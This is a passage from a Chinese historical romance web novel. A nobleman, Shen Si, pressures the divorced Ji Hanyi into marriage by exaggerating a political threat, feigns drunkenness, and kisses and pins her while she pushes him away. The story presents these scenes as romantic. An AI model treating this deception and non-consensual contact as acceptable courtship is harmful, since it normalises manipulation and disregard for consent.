季含漪去将干巾拿来递给沈肆,又看向沈肆担忧道:“我现在出去叫人为沈大人拿一身衣裳来吧。”
只是季含漪说完话刚要从沈肆面前走过时,手腕处却被沈肆用力捏住。
沈肆的手指很凉,凉的季含漪都忍住不打了个寒战,她疑惑的回头,对上抬眸看来的沈肆的眼睛,那双凤目中滚着浓浓情绪,叫她愣在了原地。
沈肆很快松了手,又看着季含漪抿唇:“先说完话。”
季含漪看着沈肆的神态,她捉摸不透他此刻的情绪,也琢磨不透沈肆的意图,却是不由自主的听他的话,但又担忧的问了一句:“可你身上湿了。”
沈
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肆垂下了眼眸,烛光映亮他一半脸庞,即便是他现在浑身湿透,身上的从容与雅致,也叫他看起来仿佛依旧是那个冷清又疏离的沈大人。
沈肆低低道:“你别担心,并不要紧。”
说着沈肆又抬眼看了一眼季含漪:“我有话想与你说。”
季含漪怔然,她想不明白,什么话沈肆会浑身湿透的过来,但此刻那双睿智又深沉的眼眸正看着她,她已不自觉的点点头:“好。”
季含漪坐在了沈肆身边的椅子上,她低着头,看着沈肆黑靴下头渐渐蔓延开来的一滩水,手指有些紧张的放在膝盖上,轻轻捏了捏袖口。
她好似闻到了沈肆身上有一股酒味。
他饮酒了么。…
季含漪的思绪乱糟糟的,以至于当沈肆说了第一句话的时候,她也没听清,嗯了一声才后知后觉的反应过来,看向沈肆:“沈大人说什么?”
季含漪觉得自己应该是刚才不专心听错了的,定然是这般的,所以脸上还有些不好意思,
直到沈肆那不容忽视的目光落在她身上,她心头才蓦的收紧。
沈肆看着季含漪震惊茫然的眼神,指尖动了动,又抿了抿唇,再低声与她开口:“含漪,嫁我为妻。”。
季含漪睁大杏眸,确定这回自己是再没有听错的。
季含漪没有反应过来,不说她从来不曾对沈肆有过那方面的非分之想,便是两人如今身份天差地别,自己还和离过,即便自己答应,沈家那样的门第怎么可能答应。
她更不明白沈肆为何会忽然与她说这个。
并且沈肆好似饮酒了,她现在甚至有些怀疑,现在的沈肆说的话到底是不是他的醉话。
可现在沈肆依旧身姿挺拔的坐在自己面前,面上看不出一丝醉态,就连那双眼睛里的神情,看起来也丝毫不像是在开玩笑。
季含漪微微愣住了,一时竟不知该怎么回应沈肆。
良久她才找到自己的声音问:“为什么…….”
第151章 强留,也要将她强留在身边
沈肆虽说垂着眼,不亮的烛光打在他的脸上,但他眼底的余光一直都落在季含漪身上。
她脸上的震惊茫然他看得清清楚楚。
她想走,想去另一个地方,想过自在的日子。
可自己想让她留下,长长久久的留下,自私的想让她陪伴在自己身侧,留在沈府的大宅里,那并不是她向往的自在的日子。
他曾想过放过,但早已放不下。
一想到她身边将来或许还会有其他男子,她或许还会成婚,更或许她那个表哥还会与她一起走。
他便放不下。
每每想起她可能还会属于别人,他就放不了手。
他也想要自私一回。
他更浑身淋透的出现在她面前,试图用这样看起来可怜的姿态来让她心软。
声音微微的低哑,沈肆抿了抿唇,高大的身体微微前倾,沉色目光看着季含漪:“皇上想要为我赐婚,是太后母家的女子。”
季含漪听了这话愣了下,随即疑惑的看向沈肆小声问:“是沈大人不愿娶么?”
沈肆淡淡垂着眼帘:“这桩婚事是皇上给沈家的一道枷锁。”
“沈家如今虽说鲜花着锦,但也是烈火烹油,皇上赐婚,一来是示恩太后与沈府,彰显天家对两重外戚一视同仁的厚爱,二则是将太后眼线名正言顺的放在我身边,沈家一言一行,便多了一道来自皇家的眼睛。”
“外戚权势,从来是帝王心间最忌惮的一根刺,如今皇上对沈家早已忌惮,到时候皇上若是要对付沈家,便能以我制衡,笼络,监察。”
沈肆说完余光落在季含漪身上,见着她脸上当真凝重的神情,唇角却不自觉勾了勾。
虽说皇上有意让他娶孙宝琼是有这层意思,但远不至于这么严重。
但不说这么严重,季含漪怎么会答应。
尽管此刻沈肆只是简短的说了几句话,但是在季含漪听来,也是听得心惊胆战的,像是极严重的地步了。
她更听懂了沈肆的意思,皇上开始忌惮和要对付沈家了。
她指尖轻轻捏着,虽说理解,但还是犹豫一下问:“可是皇上有意赐婚,沈大人能拒绝?”
沈肆抬眼,声音很低:"皇上还没赐婚,我只要在这之前定亲就是。"
季含漪愣了愣,问道:“可这样皇上不会迁怒沈家么?”
沈肆目光落在季含漪身上:“所以我想娶你为妻。”
“季家已经无人,唯有你了,即便皇上不悦,但你身后母族微弱,对沈家无益处,皇上也能接受。”
“即便皇上迁怒,我也能应付过去,不会连累到你。”
“再有,我身边识得的女子,唯有你了。”
说着沈肆声音沙哑:“含漪,能帮我么?”
季含漪整个顿住。
她都听明白了沈肆的意思,她虽不怎么懂朝堂上的那些事,但沈肆能与她说这样的话,大抵也真的是万分要紧的事情。
她亏欠沈肆许多,也一直想要报答他,只是用这样的方式……
季含漪被沈肆的目光看着心里头发紧,这是沈肆第一回叫她帮忙,他浑身湿淋淋的过来找她,她若是不应,便有些对不住他。
但要一口答应下来,心里又十分犹豫。
她知晓若是真的答应嫁给沈肆,往后便要一辈子待在内宅里,守着规矩,不能如她从前所想的生活。
她前面小半生困在宅院中,谨小慎微,顺从安静,却真心不得,什么都没有,她当真想要去过自在的日子了。
她对沈肆是安心,是信任依赖,但好似也并不是男女之情。
季含漪犹豫着,又朝着沈肆小声问:“即便不说家世,可我和离过,沈家愿答应么?”
沈肆从从季含漪有些犹豫的眸子里便看明白了,她心底其实是不愿的。
此刻是自己在强留她。
但即便是强留,他也要将她强留在身边。
若是她依旧想要走,他也会用其他法子将她留下。
他这一辈子就自私这一回,也就对不住她仅这一回。
沈肆低头,看着自己袖口依旧一滴一滴往下滴落的水珠,声音很哑:“含漪,这些你都不用担心,我只要你应我。”
季含漪茫然看向沈肆,见着他身躯微躬,湿透的黑衣贴在他身上,一丝不苟的发丝落下了好几缕,那明灭不定的脸庞在暗色中
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若隐若现,好似带了几分脆弱,又好似他依旧尊贵。
这是季含漪从未见过的沈肆样子,从未见过的他这样有些落魄的模样。
他在她眼里一直都是高华严谨的,冷清又一板一眼,如今他为自己分析厉害,说出担忧与打算,事关沈家的前程,他还说他识得的女子只有她,好似唯有她能帮他。
季含漪张张口,心底明白不应该拒绝沈肆的,可心底深处又有那么一丝茫然仿徨和不甘心。
不管是对嫁给沈肆的仿徨茫然,还是对本一切都计划好的将来的日子的不甘心,此刻情绪全都在涌动。
两人之间此时尽数都是沉默,晶莹透明的水珠带着火光缓缓从沈肆的手背划过他食指上的松绿戒往下下落,又坠在指尖,伴随着他微微一动,又滴落下去。
这样的沉默叫沈肆闭了闭眼,逼着她答应,更是在折磨自己。
叫他更清晰的明白,季含漪对他是没有情的。
沈肆缓缓深吸一口气,抬头看向季含漪的脸庞,又沙哑道:“含漪,你不用现在告诉我你的决定,你可思量两日再告诉我。”
“若是将来你后悔,我也会安顿好你的后半生,放你离开。”
声音落下的时候,沈肆明显看到季含漪微微松了一口气的神情,又动了动眼眸,唇角下压,微微苦涩。
季含漪对上沈肆的眼眸,他看着自己的时候,季含漪竟会觉得有些愧疚,但好歹有两日的时间,没有让她立马给她回应。
她很快应下来,看向沈肆轻轻点头:“沈大人,我会好好想一想的。”
其实不是季含漪不愿现在就回应沈肆,她是希望给自己一个心里接受的时间,这是她自己的决定,即便将来过得也许会不好,也是她自己深思熟虑的决定,不去怪罪任何人,也不能去后悔当初做的决定。
季含漪想,其实他心底已经想要答应沈肆的,若是能用这样的方式报答他的话。
她只是需要一点点时间来承担这个决定,她还要好好与母亲商量,毕竟可能不能再去蔚县,二叔那里也要好好交代的。
她拒绝不了现在的沈肆,但她要交代好自己。
第152章 被沈肆抱进怀里
此刻屋内很安静,唯有打在窗上的风雨声。
这回难得沈肆先开了口,他看了眼季含漪,暖光下的人整个人都像是被包裹在细细蒙蒙的烛光中,身上带着股温柔缱绻,那秀丽的身形与幽幽香气无孔不入,还有她那低垂的眉目晏然。
他视线扫过她饱满的唇瓣,他真的想吻她。
每日每夜都想要吻。
心里头早已滋生出不可控制的妄想,却又撑着椅子扶手站起来,低低看向季含漪:“我要回去了。”
季含漪怔然抬头看向沈肆:“沈大人不先换身衣裳么?”
沈肆墨黑的眼神紧紧看着季含漪:“本是骑马淋雨来的,换身衣裳也没必要。”
季含漪听着这话心头不知是什么心情。
她还以为沈肆是坐马车来的,原来是骑马来的,难怪浑身湿透。
她忍不住好奇:“外头的雨这么大,沈大人为什么不坐马车来?”
沈肆看了季含漪一眼:“怕你走了。”
季含漪愣了愣,又看沈肆说话万分严谨的眸子,像是真的这么想的。
指尖捏紧,季含漪又道:“外头这么大雨,寺庙里应该还有空厢房,沈大人为什么不住一夜再走?”
沈肆抿了下唇:“深夜过来,不好叨扰了清静。”
又静静看着季含漪:“你不用担心我。”
季含漪还是有些担心,外头的雨这么大,夜里骑马行路定然是很危险的,季含漪又问:“沈大人是一个人来的么?”
沈肆眼眸在火光中动了动,看着季含漪有些担忧的眼神,他低低嗯了一声。
季含漪稍想了想便道:“要不沈大人住在我这间屋子里吧,我去旁边厢房与容春住在一起。”
沈肆眼眸一低,看着季含漪抬头看来的眼神,喉间微滚,只是顿了一瞬就哑声道:“好。”
季含漪见沈肆应下来,又看了看沈肆身上的湿衣,又小声道:“我这会儿去看看能不能为沈大人借一身衣裳来。”
沈肆叫住季含漪:“无妨的,你是女子,不好去借男子衣裳,我留一夜,明早我找人换衣。”
季含漪想着沈肆说的的确也有道理的,毕竟这么晚,她去借男子衣裳当真也不合适,便轻轻点头,打算退出去。
她正要动步子,沈肆叫住她:“还能为我拿一件干帕来么?”
这间屋子里只有一张干巾,沈肆身上的确浑身都是湿的,季含漪便点点头,打算去容春屋里拿过来。
沈肆幽深的目光看着季含漪退出去的身影,又低低看了眼那粗制滥造摇摇欲坠的火光,微抿了唇,又将外裳脱去。
季含漪进来的时候,见到的就是沈肆穿着黑裤和白色单衣,长发披散下来的样子。
他坐在床边,手上的帕子正擦在发上,那一双看透一切的深邃眸子,此时却尽数都看在她身上。
唇瓣紧抿,长眉入鬓,额前落着长发,这样的沈肆是季含漪第一回见,叫她的步子在门槛前一愣,不知道该不该这时候进去。
沈肆看着季含漪顿在门口不动,他低哑道:“别叫风进来。”
季含漪这才想起沈肆浑身湿透,风吹进来,他身上定然很冷。
她忙进去合上了门,又将手上的干帕送到沈肆的手上。
厢房里的帕子都是粗布,季含漪低头怔怔看着沈肆那一只修长白净的手从她手上拿过帕子,还觉得有一瞬间的不真实感。
沈肆这样样样用的最精细精贵的人,她还以为他会嫌弃的。
若是从前的季含漪,她也会嫌弃的,但现在她已经学会随遇而安了。
沈肆接过帕子,抬眼间见着季含漪垂着眼眸正在失神,也没有看他,失神的模样看起来也格外诱人。
这一刻在沈肆的眼里,的确是格外诱惑的。
他坐在她曾睡过的榻上,榻上全都是她身上柔软的香气,外头是疾风大雨,屋内如豆烛火下只有两人。
他呼吸微紧,脑中闪过千万种将面前的人揽入怀里的场景。
他此刻想要如梦中那般对她。
沈肆微微垂眸,将干帕放在一边,修长指尖挑开里衣上的带子,将里头赤裸的皮肤暴露在季含漪面前。
他对自己的身体稍有一些信心,总之他觉得他应该比谢
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玉恒要好的,季含漪或许也会喜欢。
等季含漪回神的时候,就看到沈肆光裸的上半身,就这么袒露在她面前。
她一瞬间只觉得脸颊发热发烫,又看沈肆抬起的眼神正看在她身上,眼里像是翻滚着什么,她看不明白,只是下意识的后退,后背抵在了身后的桌案上。
桌上的银烛台因着季含漪后退的这一撞摇摇欲坠,季含漪察觉到忙要回头去扶稳烛台,沈肆却也在这时候过来,后背上明显能感觉到贴过来的温热身体,她手一抖,烛台没有扶稳,几声低低响声后,烛台落地,屋内一瞬间变成伸手不见五指的黑。
沈肆沙哑的声音在身后传来:“我想过来帮你扶着烛台。”
季含漪慌乱的应着,身前是桌案,身后是沈肆靠近过来的身子,季含漪回身,真想要叫沈肆往后退一下,她出去拿烛台来重新点火,却忽然听到沈肆沙哑的声音:“含漪,我醉了。”
季含漪有些没反应过来,可这么靠近沈肆,的确闻到他身上有些浓重的酒气。
她不由想,沈肆说他醉了,的确是半点看不出来的,再有那他刚才与她说的话,是醉话还是什么?
正在想的时候,面前那温热的身躯忽然将她抱了过去,宽大的手掌贴在她的后背上,她在黑暗中感受到一道炙热的呼吸就落在她颈边,沙哑的声音吐出来:“含漪,我有些撑不住了。”
“让我靠一会儿。”
季含漪浑身僵硬,想着刚才沈肆看起来那般端方的姿态的,莫不是在撑着的么。
她站在原地不敢动,只觉得仿佛整个身子都被嵌进了沈肆的怀里。
酒气就落在鼻端,还有沈肆身上的温度,一想到沈肆还半身光裸着,她连指尖都不敢动,脑中空白,连声音都在颤抖:“要不……要不我先扶着沈大人去榻上睡吧……?”
沈肆暗色中的眼眸一直落在季含漪的脸上,听着她颤颤声音,唇边扬了扬,却是将鼻尖凑到她白嫩的脖子上,哑哑又含糊不清的嗯了一声,像是醉的厉害。
他将酒倒在身上,不过也是为了这般。
第153章 吻她
这么大个身子,身上全都靠在她的身上,上半身还光着,季含漪倍感压力。
可又想到早春雨夜的寒凉,还是努力的扶着沈肆往床榻上走。
没有预想中的那么艰难,沈肆的身子虽然沉,好在跌跌撞撞的还比较配合。
只是黑灯瞎火的走到床沿边上的时候,脚上被沈肆的靴子拌了下,身体就被沈肆压着与他一起跌落到了床榻上。
她的整个身子都被沈肆给压着。
急促的呼吸暴露出季含漪的慌乱,她伸手想要将身上的沈肆推开,只是手指在落到他胸膛上温热的皮肤时微微一颤。
掌心处甚至能够感受到沈肆胸膛中有力的跳动,让她的手掌也跟着一起在战栗。
她虽说信任沈肆,但沈肆于她来说并不是能够亲近的关系,她更觉得两人这般靠近,让她觉得羞愧,指尖虽在轻颤,但还是努力的往前推,又朝着沈肆小声的开口询问:“沈大人?”
她声音落下的时候,头顶炙热的呼吸就扑在她脸上,面前依旧黑蒙蒙一片,只能感受到沈肆垂落的湿发扫过她脸庞,沈肆的模样半点看不见。
但季含漪能够清晰的感受到沈肆的面容离她很近,因为他的呼吸很热,她有些心慌。
沈肆感觉到胸膛上那柔软手指的战栗,那推拒的力道于他来说并不算重,但抗拒的很明显。
她并不能适应两人的这般亲近。
可沈肆满身因她而升腾起的**与热潮,一波一波几乎将他淹没,没有多少理智。
他今日过来便意图明显。
他唯能用这样的方式亲近她。
檀口软香向他扑来,身下人比他梦境中的还要柔软,他的身体根本无法抗拒,尽管她再抗拒,他的身体还是一寸寸的往她身上靠近。
身体的本能反应,早已在他的理智之后做出了反应。
沈肆低低闷哼一声,唇边落到她柔软的耳垂上,她柔软的细发就抚在他脸颊上,身体的血涌往一处,当真想咬住她的耳垂,从她颈边慢慢往下吻,再含住她饱满的唇瓣,与她抵死缠绵。
脖子上滚烫的呼吸扑得季含漪觉得有些痒,沈肆压在身上的身子越来越沉,他不回应她的话,又刚才那一声低低的闷哼声,像是已经醉的不轻了。
沈肆身上的酒味这时候已经更加明显了。
季含漪的力气是始终推不开沈肆的,沈肆压的她太重,几乎让她喘不过气来,又微微提高了些声音:“沈大人,沈大人?”
沈肆此刻心里头正在天人交战,季含漪的声音根本没听,他只是在说服自己,用这样卑劣的手段,如何更进一步。
又一声软软香甜的声音落在耳中,沈肆幻想中的季含漪被他压在身下,满眼是他的轻轻喊着他。
这一刻身体紧绷的不像话,在那柔软的手指再一次往他胸膛上推拒时,沈肆如一头蓄势待发的猛兽,忽的低头吻上了季含漪的唇瓣。
此刻怀里身子的僵硬与推拒,在唇瓣碰到她的唇的时候,身体早已不是他能控制的,他唯有一个念头,用力的吻她。
将对她这么多年的念想都给她,都落在她身上。
季含漪还在震惊中,就猝不及防的被沈肆好似轻车熟路的撬开唇齿,被他攻城掠地,被他一寸寸侵占。
腰上被一只大手握住,揉捏在那里的力道暧昧,还带着一点微微的疼,季含漪终于从震惊中缓过了神。
即便刚才在那样暧昧的姿势里,季含漪也从来没想过会是现在这般场景,沈肆那般高华冷清的人,像是没有七情六欲的人,她怎么也不会想到他会吻她。
潮湿的吻绵长又暧昧,季含漪口中发疼,舌尖被他缠着脱不开,甚至几乎闭不了口。
心里头更多的是慌乱心慌和不可思议,酒气弥漫在两人之间,季含漪偏着头要躲避,手上抗拒的力道更重。
可伸手不见五指的黑暗中,沈肆却能在她躲避的每一次准确的找到她,与季含漪印象中的沈肆大相径庭。
两人之间,明明她不是不知人事的闺阁姑娘,此刻却好似全被沈肆掌控着,连手腕都被他紧紧握在头顶。
在这间狭小简陋的厢房里,满是暧昧的呼吸。
季含漪最后是如何从沈肆身下脱身的她全都不知晓了,她脑中乱糟糟的,慌乱的出到房门外,在夜色下的大雨滂沱中,被夹着雨的凉风一吹,混沌茫然的脑中才清醒了过来。
唇瓣上微微的细疼,好似还带着沈肆的味道。
身后的门虽然已经被她合上了,但季含漪连回头看一眼的勇气
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都没有,心里噗噗直跳,又抬起袖子擦了擦唇,这才有些脚步凌乱的的慌张往容春的房里去。
屋内的沈肆坐在床沿上,眼神静静看着门外纤细的影子,见着她站了一会儿往旁边走,这才渐渐垂了目光。
身上的反应依旧没有消解,他闭着眼睛回味,又闷哼一声躺在满是季含漪味道的床铺上,后背微微躬着,闻着她的味道,是彻夜难眠的沙哑又压抑的喘息。
到了早上天还未亮的时候,文安就赶紧拿着干净的衣裳站在门外候着了。
等到侯爷在屋内沐浴完,才拿着衣裳进去。
沈肆换好了衣,又看了眼文安,让他将床榻上的单子换了。
文安本来还奇怪这寺庙的单子有什么好换的,结果一过去就闻到一股特别的味道,便什么都明白了,赶紧不敢有一丝耽搁。
又看那床榻上的一片凌乱,却忍不住想昨夜这里的激烈,脑中已经想象出几百个画面来了。
脸上也不自觉的笑起来,想着侯爷终于得偿所愿,也不用再大晚上的拿着季姑娘的东西看了。
他抱着单子喜滋滋的,回头又看到主子凉凉的目光看来,赶紧收敛了笑意。
怎么看起来也没那么高兴,全是欲求不满。
也是,昨晚季姑娘好似也没在里头呆多久,不欲求不满才怪了。
或许是侯爷没叫人满意么?好像昨夜是侯爷的第一次,表现差了点也是可能的……
旁边屋内季含漪已经听到了隔壁起身的动静了,昨夜的事情叫她还胆战心惊的,又想是沈肆酒醉的时候,也不知道他还记不记得。
她是希望他别记得的,不然两人碰见全是尴尬。
又摸了摸腰间,那里还有个淡淡青色印子,全是沈肆给捏出来的。
想着沈肆昨夜全然不同从前的样子,季含漪再不想去想,赶紧也一大早的起了。
她半点没敢往隔壁看,就去了母亲那里说要动身回去。
这时候外头虽然还下着细雨,但早不是昨夜那么大的雨了,顾氏想着今日要动身会蔚县,也点点头收拾,歇了吃斋饭再回去的心思。
季含漪与母亲说了话,出去在门外头等着想让自己心静下来,哪想才一推开门,就看到沈肆正站在门前等着她。
第154章 你将来便是我的妻,照顾是应该
季含漪看到沈肆的那瞬间,心都颤了两下。
母亲住的厢房没在沈肆那一边,她也根本没想到沈肆居然会在这里等着。
又见沈肆身上换了一身墨绿衣,长身玉立,依旧冷清矜贵的模样,丝毫不见昨夜浑身湿透的狼狈。
季含漪见着沈肆,下意识的往后一退,眼神垂着,不敢看沈肆的眼睛,只期望沈肆将昨夜的事情都忘了。
忘干净才好。
沈肆看着季含漪后退的动作,眼神微微动了动,又低头看着她问:“昨夜睡的好么?”
季含漪只觉得这一瞬间脸都在发热,她怔怔抬头看向沈肆,只见着沈肆眼神昏暗,又好似如从前那般深不可测,她根本看不明白他问这句是什么意思,还是他其实都忘了昨夜,然后随口一问。
季含漪不想暴露出自己的窘迫,尽量神色坦然,又偏过了眼睛点头:“睡的好的。”
沈肆唔了一声,又深深看着季含漪道:“我昨夜与你说的事情,我等你的回复。”
季含漪听着这话,张张口,原来沈肆还记得这件事,昨夜他说要娶她为妻的话,看来那时候的事他还记得……
那后面呢,季含漪简直不敢想。
心里有些乱,她有些含糊的点头:“好。”
沈肆瞧着季含漪心不在焉,又不敢看他眼睛的模样,低低无声的笑了下。
其实沈肆也有些后悔,他昨夜为着自己的一己私欲,还是吓着了她。
其实他并不想吓她,但那一瞬间,身体的本能早不是他能克制的。
他知晓她昨夜是慌张害怕的,她一直在推拒躲避,心里头虽说有些钝痛,但那般突然,她不愿也是寻常的。
她本也应该不是喜欢自己。
但沈肆很有耐心。
沈肆往季含漪面前走了一步,低头看着她低垂着的白净脸庞,细碎发丝下坠,她眉眼如烟水,瞧得人心里发热,不由又想起她昨夜唇上的柔软来。
沈肆心间滚烫了下,又沙哑道:“我让人备了早膳来,用了早膳再走。”
“马车我让人重新备了一辆,一夜的雨,道路泥泞,你那辆马车车轮小些不好走,也会颠簸。”
季含漪这才忙抬头:“也不要紧的,走慢些就好。”
沈肆深深看着季含漪:“含漪,如果你答应,你将来便是我的妻,我便是你的夫君,我照顾你是应该,这本是我该做的。”
季含漪怔怔听着,那句是她夫君叫她有瞬间不知所措和茫然。
好似曾经的谢玉恒也说过,他是她夫君,不会委屈了她。
她看向沈肆,不知道怎么就忽然问出一句:"要是我没答应呢?"
沈肆唇边抿了抿,又淡淡笑了笑,带着苦涩:“含漪不愿帮我,我只能接受赐婚了。”
这话叫季含漪心里头又愧疚,低下头,再不知该说什么。
沈肆并没有在季含漪的面前呆太久,他知晓这时候不能逼的季含漪太紧,逼太紧她会心慌,或许会适得其反。
沈肆往后退了一步,又低头看着季含漪:“含漪,两日后再给我你的决定便是。”
“马车外我安排了人护送,路上不必着急,慢慢回去,万事去旁边院子里找文安。”
沈肆说完话,又瞧了眼季含漪那轻颤的睫毛,视线划过她唇瓣,好似微微有些红,想起昨夜她口中香甜,不由喉间动了动,才转身离去。
沈肆才没走多久,就有小沙弥端着饭菜过来,虽说还是寺庙中的清淡菜,没有荤腥,但却看起来丰富,味道极好。
出去的时候,果见外头有马车等着,季含漪一过去,就有个配着剑的护卫过来请她们上马车。
顾氏见着这幕还有些不安,季含漪劝了两句才安下心来。
季含漪想着沈肆既然已经安排了,安安稳稳的回去总归也没什么不好。
一路安稳的回了院子,顾氏忙着叫春菊带着东西赶路,季含漪却拉住了母亲,让丫头先在门外候着。
顾氏见着季含漪的神色太过于认真,也坐在了椅子上有些不安的问:“含漪,是不是出什么事了?”
季含漪坐在母亲的身边摇头,想了下还是将昨夜沈肆与她说的事情与母亲说了。
说着季含漪看向母亲:“我当初能够摆脱谢家,是沈
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大人帮我的,若是没有沈大人,可能我一辈子也逃离不了谢家。”
“后来我铺子被人泼粪,也是沈大人帮的忙,为我得了公正,为我追回了损失还惩戒了恶人。”
“现在母亲吃的药,药很珍贵,效果也很好,也是沈大人给我的。”
“我一直记着沈大人对我的恩情,也一直无以为报,沈大人虽说没有一定要我答应,但我却觉得愧对他,这也是我唯一能帮到他的。”
说着季含漪微微低了低头,眼眸垂着,看着脚尖低低道:“沈大人让我考虑两日,这两日让我想好好想一想。”
“我也知道若是答应了,或许会在沈家一辈子,我也更不知道在将来还会遇见什么事情,或许是与去蔚县天差地别的日子。”
“我……我或许会答应……但也忐忑。”
顾氏听明白季含漪话里的意思了,虽说她也没想到沈肆会想到要与自己女儿成亲来拒绝赐婚,并且若是季含漪答应了,皇上难免心里不会高兴,万一针对她怎么办?
又想季含漪和离过,即便真的顺利嫁去沈家,沈家的人又是什么态度。
嫁给沈肆,进了那个京城内数一数二的高门大户,所要面对与应付的事情,远不是表面看着那么简单。
这些的确应该深思熟虑,顾氏也看懂了季含漪的挣扎。
她知晓季含漪这些都明白,但她记着恩,她想要报答。
顾氏不能为女儿做出决定,她轻轻握着季含漪的手,柔软的指尖难得带了些力道,轻声与季含漪低低道:“你父亲在的时候总说,在遇到人人避之不及的困难时还愿意出手帮助你的,那个恩情是最重的。”
“你父亲从前是最恣意的人,想做便做,对得起自己,无愧于心。”
“但你父亲从小也与你说,过你自己想过的日子,你父亲带你骑马,教你读书,宴会也带你去,是为让你看到更多,让你遵从本心,能够自在。”
“母亲知晓你的纠结,不管你做什么决定,母亲都不会觉得你做的不对。”
“母亲只希望你一旦做出决定,就不要后悔。”
第155章 沈府诗会
因着暂时这两日不走了,季含漪又叫容春收拾收拾,收拾好的东西暂时先不用拿出来,只那些常用的出来便是,想着万一有什么变化,也不至于慌乱收拾。
才收拾了没一会儿,季含漪正在摆弄她那些文房,容春忽然进来说顾宛云和大舅母来了。
季含漪听说她们来也有些诧异,忙叫容春去叫她们进来。
顾宛云进来的时候,脸上带着一脸的喜色,进来一见着季含漪,就忙喊了一声姐姐,再往季含漪这头过来。
季含漪见着顾宛云脸上的喜色,还未开口问,顾宛云便已经先羞涩道:“沈府说明日有个诗会,邀我与姐姐去呢。”
又道:“沈府的姑娘我都不认得,幸好有姐姐能陪着我一起去。”
季含漪稍顿了下,想起上回沈长龄说的话,好似他说过沈府会办诗会,不过她当时是拒绝了么,怎么又有她。
又想沈府这才没隔多久又邀请三妹妹过去,还有上回沈大夫人那殷勤的神态,季含漪有些没想明白沈府的意思。
不是说皇上赐婚么,沈府这般邀请三妹妹,难道是想三妹妹嫁给沈肆来逃避婚事?
季含漪当真心里头乱糟糟的没有理清。
又想若真是这样,沈肆又为何来找自己?
她稍思量一下看向顾宛云:“明日我便不去了,我还要照顾着母亲,恐怕陪不了三妹妹了。”
顾宛云听罢,脸上立马露出些失望的眼神,挽着季含漪的袖子就小声哀求着:“姐姐陪我一起吧,我一个人去有些害怕。”
顾宛云的心里的确是害怕的,那沈府的姑娘们各个出身都好,听说那沈大老爷的妾室,都是鸿胪寺少卿的女儿,恐怕就连庶女,身上的穿戴都比自己好。
况且又是诗会,自己虽说自小也读些书,但读的书都是《女四书》《女儿经》和《闺范》,那些经史子集父亲自小没叫她怎么看过,说那些读了也无用,她自知才情估计是比不上沈家这样的清流人家的。
听说从前老首辅的规矩严苛,小辈无论男子还是女子,自小都一起在族学读书,女子同男子一样也要考背。
顾宛云心里害怕的是自己去那里丢了脸,成了笑话。
她才刚得了沈老夫人的眼,要是闹出了笑话不就是毁于一旦了?
季含漪父亲才高八斗,还亲自教导季含漪读书,季含漪的才情她从前是见识过的,若是能叫她帮着自己些也是好的。
就算季含漪的才情比不上沈府姑娘,那即便是丢脸也是两个人一起丢脸,总比让她一个人在那儿受折磨的好。
她甚至不禁想,沈府的诗会邀请她去,难道是沈老夫人在考验她么?
这会儿听季含漪不去,顾宛云心头当真如天塌了那般。
季含漪被顾宛云靠近过来挽着,侧头又见顾宛云眼眶红红,像是要哭了出来,声音细细的哀求,季含漪就有些心软了。
她其实也想问问沈肆,沈家为什么这些日好似格外青睐三妹妹。
一直站在旁边没吱声的张氏看着季含漪没说话,这时候却忽然过来开了口:“你便与宛如一起去吧,沈老夫人虽说喜欢宛如,但你知晓的,宛如自小胆子也不大,与沈府那些姑娘也不熟,你在她身边,她好歹能自在些。”
张氏看着顾宛云那担忧的眸子,心里如何不知道自己女儿心里在想什么,论起才情来,顾宛云当真是不怎么行的,要是真闹了笑话,她也恨不得**算了。
这次其实也是个机遇,要是过了这道坎,说不定成顾家儿媳就是板上钉钉的事情了。
她又开口:“沈府也邀了你的,你陪着宛如一起去也有个伴。”
“就当舅母跪下来求你。”
季含漪看着大舅母祈求的模样一顿,眉间一皱应下来:“舅母不用求我,既是沈府的邀,我便陪着宛妹妹去便是。
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”
季含漪想的是,要是碰见沈肆,问问他也好。
张氏便知晓季含漪作为小辈是不敢真受她这一跪的,不然唾沫星子都能压死她,不由这才心里一松。
顾宛云见季含漪点头,脸上顿时也高兴起来,接着便说了自己心里的打算,想要季含漪在诗会上帮帮自己。
顾宛云说完小心翼翼的看着季含漪,心里是觉得这样做有些对不住季含漪的。
季含漪心里也明白顾宛云这般想让她去的原因了,她脸上带了两分严肃的对顾宛云道:“若是其他的,我能帮到你的,自然帮你,但这个恐怕不行。”
“诗会上若是抽签轮流来的话,那么多人看着你,我也帮不了你的,再说帮了你这一回,下一回怎么办?”
“这件事不是儿戏,不能想着用这种方式去欺瞒旁人。”
说着季含漪看着顾婉云又低低说了一句:“其实我觉得你要是实在不擅长的话,我们也可以不去的,沈府应该也不会说什么。”
只是季含漪的话才一刚落下,就被顾宛云打断,她红着脸急促道:“沈大夫人看重我邀我过去,我怎么能不去呢。”
“沈大夫人或许也只是想让我与沈府姑娘们亲近呢。”
“这场宴会我一定要去的。”
季含漪轻轻蹙眉:“即便真要去,也不能想着蒙混过关的,到时候难以收场就麻烦了。”
顾婉云脸上白了白,随即又道:“刚才也不过与表姐玩笑,也没真想那么做的。”
季含漪听了顾婉云这话才算放了心。
因着诗会是在上午的时候,所以季含漪与顾宛云两人一早起来就打算动身了。
张氏显得尤其的紧张,自己通身上下也是好好装点了一番,又在前门又对着顾宛云再细细叮嘱了好一阵才一起上了马车。
马车上,顾宛云也是紧张的厉害,不停问季含漪诗会一般会以什么做题。
第156章 谢家与李明柔
顾宛云从未参加过什么诗会,更没结交过高门里的女子,昨夜心里胆怯了一夜睡不着,今早也不觉得困,唯是紧张。
诗词的选题是在太多,除了天地四时,草木关情,闺阁女子里也常会用闺阁雅事,精巧物件和闲暇意趣来为题。
又或是拟古寄远,无题有感,咏史怀古,实在是她也说不清。
她只知晓沈府本就是书香世家,府里女子必得如男子那般一样读书,更是自小与男子分堂一起学习四书,知晓情理,才情是不必说的。
再有沈府的族学更是京城里独独一份的,高门显贵也常想方设法的想将小辈送去沈家族学,就连她都不一定觉得自己在她们面前能够游刃有余。
她只安慰着顾宛云低声道:“沈府女子不同于其他深闺女子,都是有些见识的人,即便略略逊一筹也不要紧,也并不丢人。”
顾宛云却全不赞同季含漪的话,她觉得这一回是沈老夫人对她的考验,只要这一关过了,必然就能得到老夫人的青睐了。
见过了沈侯爷两回,这些日她日日夜夜便在心里滋生妄想,无数次的想自己将来成为侯夫人的那一天。
那般高贵的男子,自己将是京城内最让人羡慕的女子。
顾宛云不说话,手指间紧紧捏着绣帕,又咬紧了唇。
很快到了沈府,下人一路引着往后院去,才过了垂花门,却见门口站了位身着红衣,年轻颀长的男子,一脸的笑吟吟,那人正是沈长龄。
